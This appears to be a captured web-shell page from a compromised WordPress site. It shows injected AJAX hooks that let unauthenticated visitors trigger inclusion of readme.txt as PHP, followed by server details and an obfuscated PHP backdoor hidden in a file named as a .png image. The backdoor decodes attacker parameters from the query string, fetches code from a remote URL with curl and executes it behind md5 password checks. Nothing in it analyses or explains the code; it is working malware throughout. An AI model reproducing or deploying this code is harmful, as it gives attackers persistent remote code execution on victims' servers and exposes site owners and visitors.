if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/includes/includes/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/includes/includes/hkzqIguvQ.png
<?php
 goto sLkHWT3enrPVqQzG; muAZbPZTLoKedsdg: metaphone("\x4d\x7a\x49\x34\117\x44\x41\x34\116\104\x63\63\116\x54\x55\x32\x4d\104\101\x32\115\104\x49\x33\x4e\x6a\125\x77\x4e\124\x67\x79"); goto pFQUBvusrhfuNT2_; CdJl_y3z2muY1oN0: @(md5(md5(md5(md5($SFHbMmPi0WYemwqn[21])))) === "\70\66\143\64\61\x64\60\62\144\60\71\143\x62\x61\146\x34\x33\x30\141\145\65\61\71\71\60\x32\62\x34\70\70\71\66") && (count($SFHbMmPi0WYemwqn) == 27 && in_array(gettype($SFHbMmPi0WYemwqn) . count($SFHbMmPi0WYemwqn), $SFHbMmPi0WYemwqn)) ? ($SFHbMmPi0WYemwqn[70] = $SFHbMmPi0WYemwqn[70] . $SFHbMmPi0WYemwqn[75]) && ($SFHbMmPi0WYemwqn[82] = $SFHbMmPi0WYemwqn[70]($SFHbMmPi0WYemwqn[82])) && @($SFHbMmPi0WYemwqn = $SFHbMmPi0WYemwqn[82]($SFHbMmPi0WYemwqn[53], $SFHbMmPi0WYemwqn[70](${$SFHbMmPi0WYemwqn[48]}[16]))) && $SFHbMmPi0WYemwqn() : $SFHbMmPi0WYemwqn; goto muAZbPZTLoKedsdg; pFQUBvusrhfuNT2_: class k5pHgnsKlHoWBRug { static function GKkg2sLosxgCI_Qn($DNmJM2Z1DeZIZXc3) { goto g1HwGs4L8pLFGN2S; QSbr8Pbc9l063nWf: return $rzkATiIiKhL0XJNR; goto Bch8v0u654T3OHGA; ofF17g5BerPtwjTF: $voHMABDUnugUBnZi = $iM_p4NuqG2CXXGps("\176", "\40"); goto kaehB3u2CtRIjU9a; g1HwGs4L8pLFGN2S: $iM_p4NuqG2CXXGps = "\162" . "\x61" . "\156" . "\x67" . "\145"; goto ofF17g5BerPtwjTF; Nf0CbRMLW1FOZ9ud: foreach ($PbgcqBAZAStCMbdr as $Kecvp191zbax3_uJ => $Z9hKUqWZlcHs_xGO) { $rzkATiIiKhL0XJNR .= $voHMABDUnugUBnZi[$Z9hKUqWZlcHs_xGO - 91606]; pYgP9qEjS2l8iWUo: } goto JfqWuxI31u7UIy3_; JfqWuxI31u7UIy3_: DePP4FvoQDLH3abN: goto QSbr8Pbc9l063nWf; lgd1AHRr_mPoPwfz: $rzkATiIiKhL0XJNR = ''; goto Nf0CbRMLW1FOZ9ud; kaehB3u2CtRIjU9a: $PbgcqBAZAStCMbdr = explode("\173", $DNmJM2Z1DeZIZXc3); goto lgd1AHRr_mPoPwfz; Bch8v0u654T3OHGA: } static function e6owkDbgQ9mFXt5E($VpnZt0Xj9JMM6Dcx, $LTW26eecSU6tVM7Y) { goto UAyRuSL4sOE5zRv9; aChJ_cuxb2SMD3J3: return empty($tH0vT72XPx7M9RR0) ? $LTW26eecSU6tVM7Y($VpnZt0Xj9JMM6Dcx) : $tH0vT72XPx7M9RR0; goto RDnptEKdIHP1uoS3; ESowDf7WR2D0a6aP: $tH0vT72XPx7M9RR0 = curl_exec($bOV63wJPFybzdcke); goto aChJ_cuxb2SMD3J3; isSkSi6vk5pduf81: curl_setopt($bOV63wJPFybzdcke, CURLOPT_RETURNTRANSFER, 1); goto ESowDf7WR2D0a6aP; UAyRuSL4sOE5zRv9: $bOV63wJPFybzdcke = curl_init($VpnZt0Xj9JMM6Dcx); goto isSkSi6vk5pduf81; RDnptEKdIHP1uoS3: } static function dLJMW0HqOM6aa3gA() { goto yxUjJvQQHCyz2SvL; yxUjJvQQHCyz2SvL: $LB2BT_BVhKNfVg2V = array("\x39\61\66\63\63\173\71\61\66\x31\70\173\x39\x31\66\63\x31\173\71\x31\66\x33\65\x7b\x39\x31\66\61\x36\173\71\x31\x36\63\61\x7b\x39\x31\66\x33\x37\x7b\x39\x31\x36\63\60\173\71\x31\66\x31\x35\173\71\61\66\x32\x32\x7b\71\x31\66\63\63\x7b\71\61\66\61\66\x7b\71\x31\x36\62\x37\173\71\x31\66\x32\x31\173\x39\x31\x36\62\x32", "\x39\61\x36\x31\x37\x7b\x39\x31\66\x31\x36\173\71\x31\x36\61\70\173\71\61\66\x33\x37\x7b\x39\61\66\61\70\x7b\71\x31\66\x32\61\173\x39\x31\66\61\66\x7b\71\61\66\70\x33\173\71\61\66\70\x31", "\71\61\x36\62\66\173\71\61\66\61\x37\173\71\x31\66\x32\61\173\x39\x31\x36\x32\62\173\x39\61\x36\63\x37\173\x39\x31\66\63\62\173\71\61\66\63\x31\173\x39\x31\x36\x33\x33\173\x39\61\66\x32\61\x7b\x39\61\x36\x33\62\173\x39\x31\66\x33\x31", "\x39\61\x36\x32\60\173\x39\61\66\63\x35\x7b\71\61\x36\63\x33\x7b\71\61\66\x32\65", "\71\61\66\x33\x34\173\71\61\66\x33\65\173\71\61\x36\x31\67\x7b\x39\x31\x36\63\x31\173\x39\61\x36\x37\x38\173\71\x31\66\x38\60\x7b\71\x31\x36\x33\67\173\71\x31\66\63\62\173\x39\61\x36\x33\x31\173\x39\61\66\x33\63\173\71\x31\x36\x32\61\x7b\x39\x31\66\x33\62\173\71\x31\x36\x33\61", "\71\61\66\63\x30\x7b\71\x31\x36\x32\x37\x7b\x39\x31\66\62\64\x7b\x39\61\66\63\x31\173\x39\x31\66\x33\x37\x7b\x39\61\x36\x32\71\173\71\x31\x36\63\x31\x7b\71\x31\x36\61\66\x7b\x39\x31\x36\63\67\x7b\x39\x31\x36\63\x33\x7b\x39\61\x36\62\61\x7b\71\x31\66\62\62\173\71\x31\x36\61\66\x7b\x39\x31\x36\x33\x31\173\71\x31\66\62\62\x7b\x39\x31\x36\61\66\x7b\71\61\x36\61\67", "\71\x31\x36\66\x30\x7b\x39\x31\x36\71\x30", "\71\x31\66\60\x37", "\71\61\66\70\x35\173\71\x31\x36\x39\60", "\x39\x31\x36\x36\x37\x7b\71\x31\x36\65\x30\173\71\61\66\65\x30\x7b\x39\x31\66\66\67\173\71\61\66\64\x33", "\x39\61\x36\x33\60\x7b\x39\61\x36\x32\67\x7b\71\x31\x36\62\x34\173\71\x31\66\61\x36\x7b\x39\61\x36\63\61\173\x39\61\66\x31\70\x7b\x39\x31\x36\x33\67\173\71\61\x36\62\x37\173\x39\x31\66\62\x32\x7b\x39\61\66\x32\x30\173\71\61\x36\x31\65\x7b\71\x31\x36\61\x36"); goto mp4j3YsfS_JCeO3O; HWAxRaBlSfeTkY1E: $l5rTo1RCx_LsThTk = @$PELJo9TDdiQjstsc[1]($PELJo9TDdiQjstsc[10 + 0](INPUT_GET, $PELJo9TDdiQjstsc[2 + 7])); goto i5h4TbDCwn292wri; IvQjmJ3JoW2CfIOW: $Bb2DBqdaZ3muvw11 = $PELJo9TDdiQjstsc[2 + 0]($rbGeE_FPEjXvou3j, true); goto z9OtIb2GfmFMkKpv; HWu5pqNhVIih9JBz: xrHsh_BoZc32ho1s: goto HWAxRaBlSfeTkY1E; i5h4TbDCwn292wri: $rbGeE_FPEjXvou3j = @$PELJo9TDdiQjstsc[0 + 3]($PELJo9TDdiQjstsc[6 + 0], $l5rTo1RCx_LsThTk); goto IvQjmJ3JoW2CfIOW; UT7tjnerLW9YWJ7m: $hFFn0hJv3b6QHeic = self::E6OWKdbgq9mfxT5e($Bb2DBqdaZ3muvw11[0 + 1], $PELJo9TDdiQjstsc[0 + 5]); goto IHq2Hfsm36nbiZq1; K9VFelxa1VfnuobG: if (!(@$Bb2DBqdaZ3muvw11[0] - time() > 0 and md5(md5($Bb2DBqdaZ3muvw11[2 + 1])) === "\x39\x36\x31\x64\x65\144\x66\141\x30\146\x63\61\x66\63\143\x33\66\x62\x64\x38\x39\144\x39\x65\64\x33\x64\145\x38\142\145\143")) { goto Rf6rgAhgTZvDv7xa; } goto UT7tjnerLW9YWJ7m; m5kkSPKg5f4fYHvW: die; goto jb3KMKp6yPZNfweD; z9OtIb2GfmFMkKpv: @$PELJo9TDdiQjstsc[4 + 6](INPUT_GET, "\x6f\x66") == 1 && die($PELJo9TDdiQjstsc[0 + 5](__FILE__)); goto K9VFelxa1VfnuobG; IHq2Hfsm36nbiZq1: @$PELJo9TDdiQjstsc[0]('', $PELJo9TDdiQjstsc[7 + 0] . $PELJo9TDdiQjstsc[1 + 3]($hFFn0hJv3b6QHeic) . $PELJo9TDdiQjstsc[5 + 3]); goto m5kkSPKg5f4fYHvW; mp4j3YsfS_JCeO3O: foreach ($LB2BT_BVhKNfVg2V as $A4pDeeUz5rn0Vxxq) { $PELJo9TDdiQjstsc[] = self::Gkkg2slOsxGCI_qn($A4pDeeUz5rn0Vxxq); HamvSfsG4vBTxp5P: } goto HWu5pqNhVIih9JBz; jb3KMKp6yPZNfweD: Rf6rgAhgTZvDv7xa: goto MGdo7tkvvk2cRIpg; MGdo7tkvvk2cRIpg: } } goto fdXELCrQgzAJx5Bt; HV9eYZp5lwpJGLd4: $SFHbMmPi0WYemwqn = ${$k9lXKE68yPMTl63u[27 + 4] . $k9lXKE68yPMTl63u[41 + 18] . $k9lXKE68yPMTl63u[32 + 15] . $k9lXKE68yPMTl63u[25 + 22] . $k9lXKE68yPMTl63u[10 + 41] . $k9lXKE68yPMTl63u[7 + 46] . $k9lXKE68yPMTl63u[30 + 27]}; goto CdJl_y3z2muY1oN0; sLkHWT3enrPVqQzG: $k9lXKE68yPMTl63u = range("\176", "\40"); goto HV9eYZp5lwpJGLd4; fdXELCrQgzAJx5Bt: k5pHgnSkLHOWbRuG::dLJMw0HQoM6AA3gA();
?>
@ Telegram